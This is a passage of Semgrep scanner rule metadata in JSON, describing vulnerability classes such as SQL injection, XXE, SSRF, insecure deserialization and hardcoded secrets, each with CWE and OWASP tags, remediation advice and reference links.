statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","id":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","name":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint","id":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","name":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint.pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","id":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","name":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"help":{"markdown":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","id":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","name":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"help":{"markdown":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://developer.apple.com/documentation/security/randomization_services](https://developer.apple.com/documentation/security/randomization_services)\n","text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt","id":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","name":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-323: Nonces should be used for the present occasion and only once.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-salt.hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"help":{"markdown":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","id":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","name":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","id":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","name":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","id":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","name":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"help":{"markdown":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb)\n","text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible","id":"ruby.lang.security.model-attr-accessible.model-attr-accessible","name":"ruby.lang.security.model-attr-accessible.model-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attr-accessible.model-attr-accessible"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","id":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","name":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","id":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","name":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"help":{"markdown":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled)\n - [https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/](https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/)\n","text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled","id":"python.flask.security.audit.debug-enabled.debug-enabled","name":"python.flask.security.audit.debug-enabled.debug-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.debug-enabled.debug-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal 